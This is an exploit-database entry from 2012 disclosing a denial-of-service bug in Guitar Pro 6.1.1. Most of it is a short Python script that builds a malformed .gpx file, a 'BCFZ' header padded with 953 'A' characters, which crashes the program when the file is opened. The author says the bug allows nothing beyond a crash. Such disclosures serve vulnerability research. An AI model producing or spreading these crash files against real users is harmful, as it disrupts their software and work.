Guitar Pro 6.1.1 r10791 (.gpx) Denial of Service Exploit



EKU-ID: 2078 CVE: OSVDB-ID:
Author: condis Published: 2012-05-07 Verified: Verified
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#!/usr/bin/python

# ---------------------------------------------------------
# Guitar Pro 6.1.1 r10791 (.gpx) Denial of Service Exploit
# found by condis
#
# Date : 01 May 2012 AD
# Tested on : Windows XP Professional SP3 PL
#
# Download : http://www.guitar-pro.com/en/index.php
# Price : ~60 euro
#
# Description :
#
# Each load of malformated file into the program ends up
# with crash, but place of crash and registers values
# differ every time o_O"
#
# In my opinion, this bug does not allow for anything else
# except getting to a DoS situation, therefore no further
# research was done.
# ---------------------------------------------------------

evil = "BCFZ\x04\x10\x01\x00"
evil += "A" * 953

file = open('ogonek_and_cooh_-_not_my_type.gpx', 'w')
file.write(evil)
file.close()

print "Sex, drugs & drum'n'bass!"

References:

http://www.guitar-pro.com/en/index.php
http://cond.psychodela.pl